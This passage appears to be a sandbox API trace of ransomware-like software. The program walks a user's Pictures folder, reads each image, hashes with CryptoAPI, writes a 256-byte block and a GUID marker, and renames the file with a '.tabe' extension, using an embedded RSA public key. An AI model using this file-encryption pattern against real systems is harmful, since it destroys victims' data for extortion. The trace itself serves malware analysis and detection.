KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.453] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.453] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.453] CryptAcquireContextW (in: phProv=0x3dcfa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3dcfa50*=0x866bf8) returned 1 [0126.454] CryptCreateHash (in: hProv=0x866bf8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3dcfa58 | out: phHash=0x3dcfa58) returned 1 [0126.454] CryptHashData (hHash=0x3463888, pbData=0x3ae1ff0, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0126.454] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3dcfa54) returned 1 [0126.454] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x3464110, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x3464110, pdwDataLen=0x3dcfa54) returned 1 [0126.454] CryptDestroyHash (hHash=0x3463888) returned 1 [0126.454] CryptReleaseContext (hProv=0x866bf8, dwFlags=0x0) returned 1 [0126.454] UuidCreate (in: Uuid=0x3dcfa48 | out: Uuid=0x3dcfa48) returned 0x0 [0126.454] UuidToStringA (in: Uuid=0x3dcfa48, StringUuid=0x3dcfa40 | out: StringUuid=0x3dcfa40) returned 0x0 [0126.454] RpcStringFreeA (in: String=0x3dcfa40 | out: String=0x3dcfa40) returned 0x0 [0126.454] RtlReAllocateHeap (Heap=0x810000, Flags=0x0, Ptr=0x3aefb48, Size=0x218) returned 0x3af7e10 [0126.455] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x4cd9, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.455] WriteFile (in: hFile=0x618, lpBuffer=0x347b558*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x347b558*, lpNumberOfBytesWritten=0x3dcfb50*=0x100, lpOverlapped=0x0) returned 1 [0126.455] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0126.455] WriteFile (in: hFile=0x618, lpBuffer=0x504448*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x504448*, lpNumberOfBytesWritten=0x3dcfb50*=0x26, lpOverlapped=0x0) returned 1 [0126.455] CloseHandle (hObject=0x618) returned 1 [0126.456] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\4EFum_ZEFyEAYh7kD.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\4efum_zefyeayh7kd.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\4EFum_ZEFyEAYh7kD.png.tabe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\4efum_zefyeayh7kd.png.tabe")) returned 1 [0126.457] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43a644d0, ftCreationTime.dwHighDateTime=0x1d5dd06, ftLastAccessTime.dwLowDateTime=0x612bc4f0, ftLastAccessTime.dwHighDateTime=0x1d5e033, ftLastWriteTime.dwLowDateTime=0x612bc4f0, ftLastWriteTime.dwHighDateTime=0x1d5e033, nFileSizeHigh=0x0, nFileSizeLow=0xd332, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="5hhff9e1MP2_F6Ew9r2.bmp", cAlternateFileName="5HHFF9~1.BMP")) returned 1 [0126.457] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\5hhff9e1MP2_F6Ew9r2.bmp") returned=".bmp" [0126.457] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\5hhff9e1MP2_F6Ew9r2.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\5hhff9e1mp2_f6ew9r2.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0126.458] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x3dcfb40 | out: lpFileSize=0x3dcfb40*=54066) returned 1 [0126.458] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2be0000 [0126.459] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0xd30c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.459] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3dcfb78, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb78*=0x26, lpOverlapped=0x0) returned 1 [0126.460] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3dcfb70, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb70*=0xd332, lpOverlapped=0x0) returned 1 [0126.461] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.461] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.461] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.461] CryptAcquireContextW (in: phProv=0x3dcfa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3dcfa50*=0x866bf8) returned 1 [0126.462] CryptCreateHash (in: hProv=0x866bf8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3dcfa58 | out: phHash=0x3dcfa58) returned 1 [0126.462] CryptHashData (hHash=0x3463888, pbData=0x3ae70a8, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0126.462] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3dcfa54) returned 1 [0126.462] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x3464110, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x3464110, pdwDataLen=0x3dcfa54) returned 1 [0126.462] CryptDestroyHash (hHash=0x3463888) returned 1 [0126.462] CryptReleaseContext (hProv=0x866bf8, dwFlags=0x0) returned 1 [0126.462] UuidCreate (in: Uuid=0x3dcfa48 | out: Uuid=0x3dcfa48) returned 0x0 [0126.462] UuidToStringA (in: Uuid=0x3dcfa48, StringUuid=0x3dcfa40 | out: StringUuid=0x3dcfa40) returned 0x0 [0126.462] RpcStringFreeA (in: String=0x3dcfa40 | out: String=0x3dcfa40) returned 0x0 [0126.462] RtlReAllocateHeap (Heap=0x810000, Flags=0x0, Ptr=0x3aefb48, Size=0x218) returned 0x3af7e10 [0126.463] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0xd332, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.463] WriteFile (in: hFile=0x618, lpBuffer=0x347b558*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x347b558*, lpNumberOfBytesWritten=0x3dcfb50*=0x100, lpOverlapped=0x0) returned 1 [0126.463] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0126.463] WriteFile (in: hFile=0x618, lpBuffer=0x504448*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x504448*, lpNumberOfBytesWritten=0x3dcfb50*=0x26, lpOverlapped=0x0) returned 1 [0126.463] CloseHandle (hObject=0x618) returned 1 [0126.464] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\5hhff9e1MP2_F6Ew9r2.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\5hhff9e1mp2_f6ew9r2.bmp"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\5hhff9e1MP2_F6Ew9r2.bmp.tabe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\5hhff9e1mp2_f6ew9r2.bmp.tabe")) returned 1 [0126.465] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x55487f90, ftCreationTime.dwHighDateTime=0x1d5e6a3, ftLastAccessTime.dwLowDateTime=0xab91e510, ftLastAccessTime.dwHighDateTime=0x1d5d93f, ftLastWriteTime.dwLowDateTime=0xab91e510, ftLastWriteTime.dwHighDateTime=0x1d5d93f, nFileSizeHigh=0x0, nFileSizeLow=0x8e63, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="6ef-QQGKj3G9q58gy.jpg", cAlternateFileName="6EF-QQ~1.JPG")) returned 1 [0126.465] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\6ef-QQGKj3G9q58gy.jpg") returned=".jpg" [0126.465] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\6ef-QQGKj3G9q58gy.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\6ef-qqgkj3g9q58gy.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0126.466] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x3dcfb40 | out: lpFileSize=0x3dcfb40*=36451) returned 1 [0126.466] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2be0000 [0126.467] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x8e3d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.467] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3dcfb78, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb78*=0x26, lpOverlapped=0x0) returned 1 [0126.468] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3dcfb70, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb70*=0x8e63, lpOverlapped=0x0) returned 1 [0126.469] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.469] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.469] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.469] CryptAcquireContextW (in: phProv=0x3dcfa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3dcfa50*=0x866bf8) returned 1 [0126.470] CryptCreateHash (in: hProv=0x866bf8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3dcfa58 | out: phHash=0x3dcfa58) returned 1 [0126.470] CryptHashData (hHash=0x3463888, pbData=0x3ae70a8, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0126.470] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3dcfa54) returned 1 [0126.470] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x3464110, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x3464110, pdwDataLen=0x3dcfa54) returned 1 [0126.470] CryptDestroyHash (hHash=0x3463888) returned 1 [0126.470] CryptReleaseContext (hProv=0x866bf8, dwFlags=0x0) returned 1 [0126.470] UuidCreate (in: Uuid=0x3dcfa48 | out: Uuid=0x3dcfa48) returned 0x0 [0126.470] UuidToStringA (in: Uuid=0x3dcfa48, StringUuid=0x3dcfa40 | out: StringUuid=0x3dcfa40) returned 0x0 [0126.470] RpcStringFreeA (in: String=0x3dcfa40 | out: String=0x3dcfa40) returned 0x0 [0126.470] RtlReAllocateHeap (Heap=0x810000, Flags=0x0, Ptr=0x3aefb48, Size=0x218) returned 0x3af7e10 [0126.471] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x8e63, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.471] WriteFile (in: hFile=0x618, lpBuffer=0x347b558*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x347b558*, lpNumberOfBytesWritten=0x3dcfb50*=0x100, lpOverlapped=0x0) returned 1 [0126.471] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0126.471] WriteFile (in: hFile=0x618, lpBuffer=0x504448*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x504448*, lpNumberOfBytesWritten=0x3dcfb50*=0x26, lpOverlapped=0x0) returned 1 [0126.471] CloseHandle (hObject=0x618) returned 1 [0126.472] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\6ef-QQGKj3G9q58gy.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\6ef-qqgkj3g9q58gy.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\6ef-QQGKj3G9q58gy.jpg.tabe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\6ef-qqgkj3g9q58gy.jpg.tabe")) returned 1 [0126.473] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6239e730, ftCreationTime.dwHighDateTime=0x1d5e1c0, ftLastAccessTime.dwLowDateTime=0x1f465020, ftLastAccessTime.dwHighDateTime=0x1d5db86, ftLastWriteTime.dwLowDateTime=0x1f465020, ftLastWriteTime.dwHighDateTime=0x1d5db86, nFileSizeHigh=0x0, nFileSizeLow=0xa3e3, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="8nsDvVyTWic7d1G8VIn.bmp", cAlternateFileName="8NSDVV~1.BMP")) returned 1 [0126.473] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\8nsDvVyTWic7d1G8VIn.bmp") returned=".bmp" [0126.473] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\8nsDvVyTWic7d1G8VIn.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\8nsdvvytwic7d1g8vin.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0126.473] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x3dcfb40 | out: lpFileSize=0x3dcfb40*=41955) returned 1 [0126.473] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2be0000 [0126.474] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0xa3bd, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.474] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3dcfb78, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb78*=0x26, lpOverlapped=0x0) returned 1 [0126.476] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3dcfb70, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb70*=0xa3e3, lpOverlapped=0x0) returned 1 [0126.476] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.477] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.477] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.477] CryptAcquireContextW (in: phProv=0x3dcfa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3dcfa50*=0x866bf8) returned 1 [0126.477] CryptCreateHash (in: hProv=0x866bf8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3dcfa58 | out: phHash=0x3dcfa58) returned 1 [0126.477] CryptHashData (hHash=0x3463888, pbData=0x3ae70a8, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0126.477] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3dcfa54) returned 1 [0126.477] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x3464110, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x3464110, pdwDataLen=0x3dcfa54) returned 1 [0126.477] CryptDestroyHash (hHash=0x3463888) returned 1 [0126.477] CryptReleaseContext (hProv=0x866bf8, dwFlags=0x0) returned 1 [0126.478] UuidCreate (in: Uuid=0x3dcfa48 | out: Uuid=0x3dcfa48) returned 0x0 [0126.478] UuidToStringA (in: Uuid=0x3dcfa48, StringUuid=0x3dcfa40 | out: StringUuid=0x3dcfa40) returned 0x0 [0126.478] RpcStringFreeA (in: String=0x3dcfa40 | out: String=0x3dcfa40) returned 0x0 [0126.478] RtlReAllocateHeap (Heap=0x810000, Flags=0x0, Ptr=0x3aefb48, Size=0x218) returned 0x3af7e10 [0126.478] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0xa3e3, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.478] WriteFile (in: hFile=0x618, lpBuffer=0x347b558*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x347b558*, lpNumberOfBytesWritten=0x3dcfb50*=0x100, lpOverlapped=0x0) returned 1 [0126.478] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0126.478] WriteFile (in: hFile=0x618, 